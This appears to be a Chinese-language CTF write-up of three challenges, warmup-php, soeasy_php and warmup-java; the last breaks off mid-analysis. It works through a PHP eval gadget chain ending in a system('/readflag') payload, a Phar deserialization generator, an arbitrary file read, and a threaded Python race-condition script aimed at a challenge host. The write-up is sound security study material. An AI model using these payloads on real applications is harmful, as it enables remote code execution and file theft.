warmup-php
题目给出了几个类的源码,继承关系如下
源码
Base.php
<?php class Base { public function __get($name) { $getter = 'get' . $name; if (method_exists($this, $getter)) { return $this->$getter(); } else { throw new Exception("error property {$name}"); } } public function __set($name, $value) { $setter = 'set' . $name; if (method_exists($this, $setter)) { return $this->$setter($value); } else { throw new Exception("error property {$name}"); } } public function __isset($name) { $getter = 'get' . $name; if (method_exists($this, $getter)) return $this->$getter() !== null; return false; } public function __unset($name) { $setter = 'set' . $name; if (method_exists($this, $setter)) $this->$setter(null); } public function evaluateExpression($_expression_,$_data_=array()) { if(is_string($_expression_)) { extract($_data_); return eval('return '.$_expression_.';'); } else { $_data_[]=$this; return call_user_func_array($_expression_, $_data_); } } }
Filter.php
<?php class Filter extends Base { public $lastModified; public $lastModifiedExpression; public $etagSeed; public $etagSeedExpression; public $cacheControl='max-age=3600, public'; public function preFilter($filterChain) { $lastModified=$this->getLastModifiedValue(); $etag=$this->getEtagValue(); if($etag===false&&$lastModified===false) return true; if($etag) header('ETag: '.$etag); if(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&isset($_SERVER['HTTP_IF_NONE_MATCH'])) { if($this->checkLastModified($lastModified)&&$this->checkEtag($etag)) { $this->send304Header(); $this->sendCacheControlHeader(); return false; } } elseif(isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])) { if($this->checkLastModified($lastModified)) { $this->send304Header(); $this->sendCacheControlHeader(); return false; } } elseif(isset($_SERVER['HTTP_IF_NONE_MATCH'])) { if($this->checkEtag($etag)) { $this->send304Header(); $this->sendCacheControlHeader(); return false; } } if($lastModified) header('Last-Modified: '.gmdate('D, d M Y H:i:s', $lastModified).' GMT'); $this->sendCacheControlHeader(); return true; } protected function getLastModifiedValue() { if($this->lastModifiedExpression) { $value=$this->evaluateExpression($this->lastModifiedExpression); if(is_numeric($value)&&$value==(int)$value) return $value; elseif(($lastModified=strtotime($value))===false) throw new Exception("error"); return $lastModified; } if($this->lastModified) { if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified) return $this->lastModified; elseif(($lastModified=strtotime($this->lastModified))===false) throw new Exception("error"); return $lastModified; } return false; } protected function getEtagValue() { if($this->etagSeedExpression) return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression)); elseif($this->etagSeed) return $this->generateEtag($this->etagSeed); return false; } protected function checkEtag($etag) { return isset($_SERVER['HTTP_IF_NONE_MATCH'])&&$_SERVER['HTTP_IF_NONE_MATCH']==$etag; } protected function checkLastModified($lastModified) { return isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])&&@strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE'])>=$lastModified; } protected function send304Header() { header('HTTP/1.1 304 Not Modified'); } protected function generateEtag($seed) { return '"'.base64_encode(sha1(serialize($seed),true)).'"'; } }
ListView.php
<?php //该类为抽象类,不能被实例化,但可以实例化其子类,并且其子类拥有父类的所有方法与属性 abstract class ListView extends Base { public $tagName='div'; public $template; public function run() { echo "<".$this->tagName.">\n"; $this->renderContent(); echo "<".$this->tagName.">\n"; } public function renderContent() { ob_start(); echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template); ob_end_flush(); } protected function renderSection($matches) { $method='render'.$matches[1]; if(method_exists($this,$method)) { $this->$method(); $html=ob_get_contents(); ob_clean(); return $html; } else return $matches[0]; } }
TestView.php
<?php class TestView extends ListView { const FILTER_POS_HEADER='header'; const FILTER_POS_BODY='body'; public $columns=array(); public $rowCssClass=array('odd','even'); public $rowCssClassExpression; public $rowHtmlOptionsExpression; public $selectableRows=1; public $data=array(); public $filterSelector='{filter}'; public $filterCssClass='filters'; public $filterPosition='body'; public $filter; public $hideHeader=false; public function renderTableHeader() { if(!$this->hideHeader) { echo "<thead>\n"; if($this->filterPosition===self::FILTER_POS_HEADER) $this->renderFilter(); if($this->filterPosition===self::FILTER_POS_BODY) $this->renderFilter(); echo "</thead>\n"; } elseif($this->filter!==null && ($this->filterPosition===self::FILTER_POS_HEADER || $this->filterPosition===self::FILTER_POS_BODY)) { echo "<thead>\n"; $this->renderFilter(); echo "</thead>\n"; } } public function renderFilter() { if($this->filter!==null) { echo "<tr class=\"{$this->filterCssClass}\">\n"; echo "</tr>\n"; } } public function renderTableRow($row) { $htmlOptions=array(); if($this->rowHtmlOptionsExpression!==null) { $data=$this->data[$row]; $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data)); if(is_array($options)) $htmlOptions = $options; } if($this->rowCssClassExpression!==null) { $data=$this->dataProvider->data[$row]; $class=$this->evaluateExpression($this->rowCssClassExpression,array('row'=>$row,'data'=>$data)); } elseif(is_array($this->rowCssClass) && ($n=count($this->rowCssClass))>0) $class=$this->rowCssClass[$row%$n]; if(!empty($class)) { if(isset($htmlOptions['class'])) $htmlOptions['class'].=' '.$class; else $htmlOptions['class']=$class; } } public function renderTableBody() { $data=$this->data; $n=count($data); echo "<tbody>\n"; if($n>0) { for($row=0;$row<$n;++$row) $this->renderTableRow($row); } else { echo '<tr><td colspan="'.count($this->columns).'" class="empty">'; echo "</td></tr>\n"; } echo "</tbody>\n"; } }
index.php
<?php spl_autoload_register(function($class){ require("./class/".$class.".php"); }); highlight_file(__FILE__); error_reporting(0); $action = $_GET['action']; $properties = $_POST['properties']; class Action{ public function __construct($action,$properties){ $object=new $action(); foreach($properties as $name=>$value) $object->$name=$value; $object->run(); } } new Action($action,$properties); ?>
源码分析
在index.php
中,我们能够初始化以上任意一个类,并且给类属性赋值,最后再调用类的run()
方法。
在Base#evaluateExpression
方法中存在eval可控代码执行
... public function evaluateExpression($_expression_,$_data_=array()) { if(is_string($_expression_)) { extract($_data_); return eval('return '.$_expression_.';'); } else { $_data_[]=$this; return call_user_func_array($_expression_, $_data_); } } ...
因此我们的目标就明确了,利用链的终点应该为evaluateExpression()
函数,下面我们找一下哪里调用了该函数。
我们一共找到三处,分别在Filter#getEtagValue
、Filter#getLastModifiedValue
以及TestView#renderTableRow
中
//Filter.php ... protected function getEtagValue() { if($this->etagSeedExpression) return $this->generateEtag($this->evaluateExpression($this->etagSeedExpression)); elseif($this->etagSeed) return $this->generateEtag($this->etagSeed); return false; } ... ... protected function getLastModifiedValue() { if($this->lastModifiedExpression) { $value=$this->evaluateExpression($this->lastModifiedExpression); if(is_numeric($value)&&$value==(int)$value) return $value; elseif(($lastModified=strtotime($value))===false) throw new Exception("error"); return $lastModified; } if($this->lastModified) { if(is_numeric($this->lastModified)&&$this->lastModified==(int)$this->lastModified) return $this->lastModified; elseif(($lastModified=strtotime($this->lastModified))===false) throw new Exception("error"); return $lastModified; } return false; } ...
//TestView.php ... public function renderTableRow($row) { $htmlOptions=array(); if($this->rowHtmlOptionsExpression!==null) { $data=$this->data[$row]; $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data)); if(is_array($options)) $htmlOptions = $options; } ... } ...
如果我们想要调用Filter中的getter,可以通过Base类中的__get()魔术方法
public function __get($name) { $getter = 'get' . $name; if (method_exists($this, $getter)) { return $this->$getter(); } else { throw new Exception("error property {$name}"); } }
但是在index.php中对属性是进行赋值操作的,只会调用到__set()
方法,因此Filter这条路走不通。
但别忘了,index.php中调用了类的run()
方法,在ListView#run
中
public function run() { echo "<".$this->tagName.">\n"; $this->renderContent(); echo "<".$this->tagName.">\n"; }
跟进ListView#renderContent
public function renderContent() { ob_start(); echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template); ob_end_flush(); }
这里使用了一个正则回调函数,匹配template
参数,并将匹配到的内容作为回调函数$this->renderSection()
的参数。我们接着来看ListView#renderSection
protected function renderSection($matches) { $method='render'.$matches[1]; if(method_exists($this,$method)) { $this->$method(); $html=ob_get_contents(); ob_clean(); return $html; } else return $matches[0]; }
该方法能够调用任意rend
开头的无参方法,于是我们可以将匹配到的内容控制为TableBody
,这样就会调用renderTableBody()
方法,注意这里的$data
参数必须不为空,才能调用最终的renderTableRow()
方法
public function renderTableBody() { $data=$this->data; $n=count($data); echo "<tbody>\n"; if($n>0) { for($row=0;$row<$n;++$row) $this->renderTableRow($row); } else { echo '<tr><td colspan="'.count($this->columns).'" class="empty">'; echo "</td></tr>\n"; } echo "</tbody>\n"; }
最终在Testview#renderTableRow
中调用evaluateExpression()
public function renderTableRow($row) { $htmlOptions=array(); if($this->rowHtmlOptionsExpression!==null) { $data=$this->data[$row]; $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data)); if(is_array($options)) $htmlOptions = $options; } ... }
最终调用链如下
TestView#run() TestView#renderContent() TestView#renderSection($matches) TestView#renderTableBody() TestView#renderTableRow($row) TestView#evaluateExpression(TestView->rowHtmlOptionsExpression)
构造Payload如下
/?action=TestView POST: properties[template]={TableBody}&properties[data]=1&properties[rowHtmlOptionsExpression]=system("/readflag")
soeasy_php
题目提供上传功能,查看源码发现edit.php
尝试发包,发现能够更改头像
edit.php会将uploads/head.png
覆盖为我们POST过去的文件名,考虑可能存在任意文件读取
png=/etc/hosts&flag=1
直接读取目录下文件
png=/var/www/html/upload.php&flag=1 png=/var/www/html/edit.php&flag=1
#uplaod.php <?php if (!isset($_FILES['file'])) { die("请上传头像"); } $file = $_FILES['file']; $filename = md5("png".$file['name']).".png"; $path = "uploads/".$filename; if(move_uploaded_file($file['tmp_name'],$path)){ echo "上传成功: ".$path; };
<?php ini_set("error_reporting","0"); class flag{ public function copyflag(){ exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt echo "SFTQL"; } public function __destruct(){ $this->copyflag(); } } function filewrite($file,$data){ unlink($file); file_put_contents($file, $data); } if(isset($_POST['png'])){ $filename = $_POST['png']; if(!preg_match("/:|phar|\/\/|php/im",$filename)){ $f = fopen($filename,"r"); $contents = fread($f, filesize($filename)); if(strpos($contents,"flag{") !== false){ filewrite($filename,"Don't give me flag!!!"); } } if(isset($_POST['flag'])) { $flag = (string)$_POST['flag']; if ($flag == "Give me flag") { filewrite("/tmp/flag.txt", "Don't give me flag"); sleep(2); die("no no no !"); } else { filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。 } $head = "uploads/head.png"; unlink($head); if (symlink($filename, $head)) { echo "成功更换头像"; } else { unlink($filename); echo "非正常文件,已被删除"; }; } }
根目录下虽然有/flag
,但是我们是没有权限读的,想要读flag就必须依靠下面的类将flag写入/tmp/flag.txt
class flag{ public function copyflag(){ exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt echo "SFTQL"; } public function __destruct(){ $this->copyflag(); } }
该类会自动调用copyflag()
写入flag,但问题是我们如何实例化该类呢?
我们在正则过滤中能够发现phar
关键字,并且代码中存在的unlink()
等函数都暗示解题思路可能是Phar反序列化。
下面的问题是如何触发phar,filewrite()
函数中调用了unlink()
,但filewrite函数的文件名都不可控。想要触发phar,则需要依靠下面的部分
... $head = "uploads/head.png"; unlink($head); if (symlink($filename, $head)) { echo "成功更换头像"; } else { unlink($filename); echo "非正常文件,已被删除"; }; ...
想要调用到unlink()
来触发phar,那么symlink()
函数就需要返回false。下面的问题就是如何让symlink函数返回false
下面有两种思路
- 如果链接
$link
是一个已存在的文件,则symlink会返回false。但上述代码在symlink之前执行了unlink()
,强制让文件不存在。因此这里需要条件竞争来让symlink报错 - 向
$target
添加脏数据来让symlink报错
绕过symlink之后,flag就会被写入/tmp/flag.txt
。但我们在读取/tmp/flag.txt
时,后端又会将我们传入的$flag
写入/tmp/flag.txt
,从而覆盖掉flag,因此这里也需要条件竞争读取flag。
if(isset($_POST['flag'])) { $flag = (string)$_POST['flag']; if ($flag == "Give me flag") { filewrite("/tmp/flag.txt", "Don't give me flag"); sleep(2); die("no no no !"); } else { //读取时会覆盖掉flag filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。 } ... }
生成Phar文件
<?php class flag{ public function copyflag(){ exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt echo "SFTQL"; } public function __destruct(){ $this->copyflag(); } } $a = new flag(); @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("a.txt", "a"); $phar->stopBuffering();
上传phar,获得文件名uploads/fe409167fb98b72dcaff5486a612a575.png
。然后通过添加脏数据触发unlink
此时我们的数据已经被写入/tmp/flag.txt,下面的工作就是条件竞争了,脚本如下
import requests import threading import time url="http://3878e57a-1b4a-487f-a84a-dc3d97b18714.node4.buuoj.cn:81/" phar=r"phar://uploads/fe409167fb98b72dcaff5486a612a575.png/a.txtaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" flag=r"/tmp/flag.txt" head="uploads/head.png" s=requests.session() proxies={"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"} #触发phar def uunlink(): path="edit.php" data={ "png":phar, "flag":"1" } r=s.post(url+path,data,proxies=proxies) if r.status_code==429: time.sleep(1) #更改head.png为flag def change(): path="edit.php" data={ "png":flag, "flag":"1" } r=s.post(url+path,data) if r.status_code==429: time.sleep(1) #读取flag def read_flag(): path=head r=s.get(url+path) if r.status_code==429: time.sleep(1) else: print(r.text) while True: thread1=threading.Thread(target=uunlink) thread1.start() thread2=threading.Thread(target=change) thread2.start() thread3=threading.Thread(target=read_flag) thread3.start()
warmup-java
最近简单看了看7u21这条原生反序列化链,分析到链子中的动态代理部分时,突然想起来这里还有一道和动态代理相关的题目没有复现,于是花了点时间梳理了一下。其中找反序列化入口的地方卡了很久,还是对各种链子不太熟悉。。。
源码分析
主要代码如下,存在一个Controller能够反序列化十六进制字符串
@Controller public class IndexController { public IndexController() { } @RequestMapping({"/warmup"}) public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception { byte[] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream(b); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); return "index"; } }
还实现了一个动态代理类MyInvocationHandler
,其中invoke
方法能够依次反射调用属性type
类中的方法。其中调用的代理方法需要有至少一个参数来作为invoke的参数,否则会抛出异常。
package com.example.warmup; import java.io.Serializable; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class MyInvocationHandler implements InvocationHandler, Serializable { private Class type; public MyInvocationHandler() { } public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Method[] methods = this.type.getDeclaredMethods(); Method[] var5 = methods; int var6 = methods.length; for(int var7 = 0; var7 < var6; ++var7) { Method xmethod = var5[var7]; xmethod.invoke(args[0]); } return null; } }
jar包中没什么可以利用的依赖,存在漏洞的只有一个sankeyaml1.29
包,但没法利用。那么可能是结合动态代理打原生链子了。
利用链构造
构造任意类加载
不论是7u21还是CC链,链子的后半段都用到了TemplatesImpl
这个原生类,通过一系列构造能够实现任意类加载,具体的原理这里就不仔细分析了,网上很多
